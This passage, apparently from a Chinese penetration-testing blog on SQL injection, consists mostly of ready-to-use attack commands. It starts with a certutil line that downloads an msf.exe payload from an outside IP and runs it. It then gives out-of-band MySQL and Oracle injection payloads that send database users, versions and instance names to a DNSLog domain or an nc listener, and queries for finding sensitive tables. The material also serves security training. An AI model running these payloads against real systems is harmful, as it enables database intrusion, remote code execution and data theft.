  1. 下载远程文件

    通过Vbs/Ftp/IPC$/Certutil/Bitsadmin/Powershell下载文件

    1
    2
    certutil -urlcache -split -f http://155.**.***.229:8888/msf.exe C:ProgramDatamsf.exe
    C:ProgramDatamsf.exe
  2. 执行远程payload

    1
    #使用exploit/multi/script/web_delivery和exploit/windows/misc/hta_server模块

DNSLog

Mysql带外注入

UNC路径只适用于Windows

mysql.ini 中 secure_file_priv 必须为空

1
2
select load_file("\\\\xxx.q5i9by.dnslog.cn\\x.txt");
select load_file(concat("\\\\",user(),".q5i9by.dnslog.cn\\aa.txt"));

Oracle带外注入

通过utl_http.request我们可以将查询的结果发送到远程服务器上,在遇到盲注时非常有用,要使用该方法用户需要有utl_http访问网络的权限。

检测是否支持utl_http.request

1
http://www.jsporcle.com/news.jsp?id=1 and exists (select count(*) from all_objects where object_name='UTL_HTTP') --

image-20220525214331732

注意|| 注意转码%7C%7C

应用:

在服务器端开启监听:

1
nc -lnvvp 2019

注入代码:

1
2
3
4
5
6
7
8
9
//查看当前oracle数据库版本指纹
select banner from sys.v_$version where rownum=1
http://www.jsporcle.com/news.jsp?id=1 and utl_http.request('http://192.168.5.28:2019/'||(select banner from sys.v_$version where rownum=1))=1--
//查看当前连接用户
http://www.jsporcle.com/news.jsp?id=1 and utl_http.request('http://192.168.5.28:2019/'%7C%7C(select SYS_CONTEXT ('USERENV', 'CURRENT_USER')from dual))=1 --
//查询系统用户
http://www.jsporcle.com/news.jsp?id=1 and%20 utl_http.request('http://192.168.5.28:2019/'%7c%7c (select user from dual))=1--
http://www.jsporcle.com/news.jsp?id=1 and%20 utl_http.request('http://192.168.5.28:2019/'%7c%7c(select member from v$logfile where rownum=1))=1--
http://www.jsporcle.com/news.jsp?id=1%20and%20%20utl_http.request(%27http://192.168.5.28:2019/%27%7c%7c(select%20instance_name%20from%20v$instance))=1--

其他函数

  • utl_http.request

    1
    2
    3
    #utl_http.request向外网主机发送http请求,需要出外网http
    select utl_http.request('dnslog'||(select user from dual)) from dual;
    #注意一下哦。这里的 || 是字符串连接符,别搞错了好吧。dnslog指的是你的地址。
  • utl_inaddr.get_host_address

    1
    2
    3
    dns解析带外
    把查询结果拼接到域名下,并使用DNS记录解析日志,通过这种方式获取查询结果
    select utl_inaddr.get_host_address((select user from dual)||'dnslog') from dual
  • SYS.DBMS_LDAP.INIT

    1
    2
    在 oracle 10g和11g里面只需要public权限
    SELECT DBMS_LDAP.INIT((‘dnslog',80) FROM DUAL;
  • HTTPURITYPE

    1
    2
    HTTPURITYPE根据给定的URI创建一个实例
    SELECT HTTPURITYPE((select user from dual)||'dnslog').GETCLOB() FROM DUAL;

以下几个都可以发出网络请求:

1
2
3
4
UTL_INADDR.GET_HOST_ADDRESS
UTL_HTTP.REQUEST
HTTP_URITYPE.GETCLOB
DBMS_LDAP.INIT and UTL_TCP

敏感信息查找

筛选行数多的表

1
select table_name,table_rows,table_schema,table_comment from  information_schema.tables order by table_rows desc;

image-20221214172227964

查看连接者的ip

1
2
SELECT * FROM performance_schema.hosts;
show full processlist;

image-20221214172429299

参考链接

  1. SQL注入之sqlserver注入
  2. SQLServer数据库注入详解
  3. SQL手工注入基础详解—-MSSQL篇
  4. docker创建sqlserver
  5. SQL Server系统表sysobjects介绍与使用
  6. Windows Server 2008 R2服务器上安装SQL Server2008
  7. Web渗透之mssql差异备份getshell
  8. 合天实验-有回显的Mssql手工注入
  9. https://www.itdaan.com/blog/2019/05/30/b279dd6e1e829ed7b27762c74915efd0.html
  10. https://550532788.github.io/2020/08/10/%E4%BB%8E%E9%9B%B6%E5%BC%80%E5%A7%8B%E7%9A%84Oracle%E6%B3%A8%E5%85%A5%E5%AD%A6%E4%B9%A0/
  11. Oracle权限管理详解](https://www.cnblogs.com/yw0219/p/5855210.html)
CATALOG
  1. 1. 0x01 Mysql
    1. 1.1. 1.1 root权限
      1. 1.1.1. 1.1.1 判断是否具有读写权限
    2. 1.2. 1.2 MySQL联合查询
      1. 1.2.1. 1.2.1 适用于mysql低于5.0版本
      2. 1.2.2. 1.2.2 适用于Mysql 5.0以上版本支持查表查列
    3. 1.3. 1.3 Mysql报错注入
    4. 1.4. 1.4 Mysql盲注
    5. 1.5. 1.5 Mysql三步写shell
    6. 1.6. 1.6 慢日志查询写shell
  2. 2. 0x02 SQLServer
    1. 2.1. SQLServer基础知识
      1. 2.1.1. 判断是MSSqlServer方法
      2. 2.1.2. SQLServer的库
    2. 2.2. sysobjects表
    3. 2.3. SQLServer基础查询
    4. 2.4. SA权限
      1. 2.4.1. 开启xp_cmdshell执行命令
      2. 2.4.2. 使用sp_oacreate执行系统命令
    5. 2.5. DB_OWNER权限
      1. 2.5.1. LOG备份Getshell
      2. 2.5.2. 权限差异备份GetShell
    6. 2.6. SQLServer Union查询
    7. 2.7. SQLServer 延时注入
    8. 2.8. SQLServer 盲注
    9. 2.9. SQLServer报错注入
    10. 2.10. SQLServer获取权限的奇巧淫技
  3. 3. 0x03 Oracle
    1. 3.1. 前置知识
      1. 3.1.1. 连接方式
      2. 3.1.2. 表空间
      3. 3.1.3. 用户
      4. 3.1.4.
      5. 3.1.5. profile配置文件
    2. 3.2. 环境安装
    3. 3.3. 基础信息
      1. 3.3.1. 基础语法
      2. 3.3.2. 系统表
      3. 3.3.3. 权限和用户
        1. 3.3.3.1. 系统权限
        2. 3.3.3.2. 实体权限
        3. 3.3.3.3. 用户
    4. 3.4. 查询数据
      1. 3.4.1. 寻找注入点
      2. 3.4.2. 联合查询
      3. 3.4.3. 手工显错注入
      4. 3.4.4. 盲注
      5. 3.4.5. 报错注入
    5. 3.5. 权限提升
      1. 3.5.1. SET_OUTPUT_TO_JAVA
      2. 3.5.2. GET_DOMAIN_INDEX_TABLES
      3. 3.5.3. LT.FINDRICSET
      4. 3.5.4. SDO_DROP_USER_BEFORE
    6. 3.6. 命令执行
      1. 3.6.1. 1. DBMS_XMLQUERY
      2. 3.6.2. 2. 创建存储进程执行命令
      3. 3.6.3. 3. DBMS_JAVA.RUNJAVA
  4. 4. sqlite
  5. 5. sql注入防御
  6. 6. 站库分离的系统渗透方法
    1. 6.1. 由Web服务器渗透数据库服务器
    2. 6.2. 由数据库服务器对Web服务器进行渗透
  7. 7. DNSLog
    1. 7.1. Mysql带外注入
    2. 7.2. Oracle带外注入
      1. 7.2.1. 其他函数
  8. 8. 敏感信息查找
  9. 9. 参考链接